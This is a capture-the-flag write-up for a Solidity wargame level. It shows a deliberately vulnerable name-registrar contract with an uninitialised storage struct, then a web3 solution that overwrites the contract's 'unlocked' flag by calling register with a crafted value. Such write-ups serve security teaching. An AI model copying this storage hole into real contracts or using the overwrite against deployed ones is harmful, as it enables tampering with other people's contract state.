# Locked
_difficulty 6/10_

This name registrar is locked and will not accept any new names to be registered.  


Unlock this registrar to beat the level.  


Things that might help:  
- Understanding how storage works
- Understanding default storage types for local variables
- Understanding the difference between storage and memory

## Sources
```javascript
pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates
    
    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    
    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}
```

## Level author  
Adrian Manning  
age@agemanning.com  
https://github.com/AgeManning  

## Solution

1. Let's check what's stored in the storage of the contract
```javascript
let lockedData = [];
let lockedDataCb = (index) => (error, contractData) => {
  data[index] = contractData
}
for(var i = 0; i < 2; i++){
  web3.eth.getStorageAt(contract.address, i, lockedDataCb(i))
}
```

```
data:
0:"0x0000000000000000000000000000000000000000000000000000000000000000"
1:"0x0000000000000000000000000000000000000000000000000000000000000000"
```

The storage in the location 0 is `0x0` or false - the contract is locked.

2. Check if the contract returns unlocked as false.  
`await contract.unlocked()`  
false  

3. The contract uses `storage` memory for the `NameRecord` struct in the `register(bytes32 _name, address _mappedAddress)`. This will force the struct in the storage memory and overwrite the local data.

`await contract.register('0x0000000000000000000000000000000000000000000000000000000000000001', player)`

4. Let's see what's recorded in the storage now.
```javascript
for(var i = 0; i < 2; i++){
  web3.eth.getStorageAt(contract.address, i, lockedDataCb(i))
}
```
```
data:
0: "0x0000000000000000000000000000000000000000000000000000000000000001"
1: "0x000000000000000000000000fdfc2d2c2b580809f8668b117da374d99fab64a8"
```

5. Contract should be unlocked now.  
`await contract.unlocked()`  
true  

6. Submit instance ðŸŽ‰   

## Lesson

Care should be taken when using complex data types within functions. Incorrectly initialised storage variables can lead to modification of other storage variables as this level demonstrates.
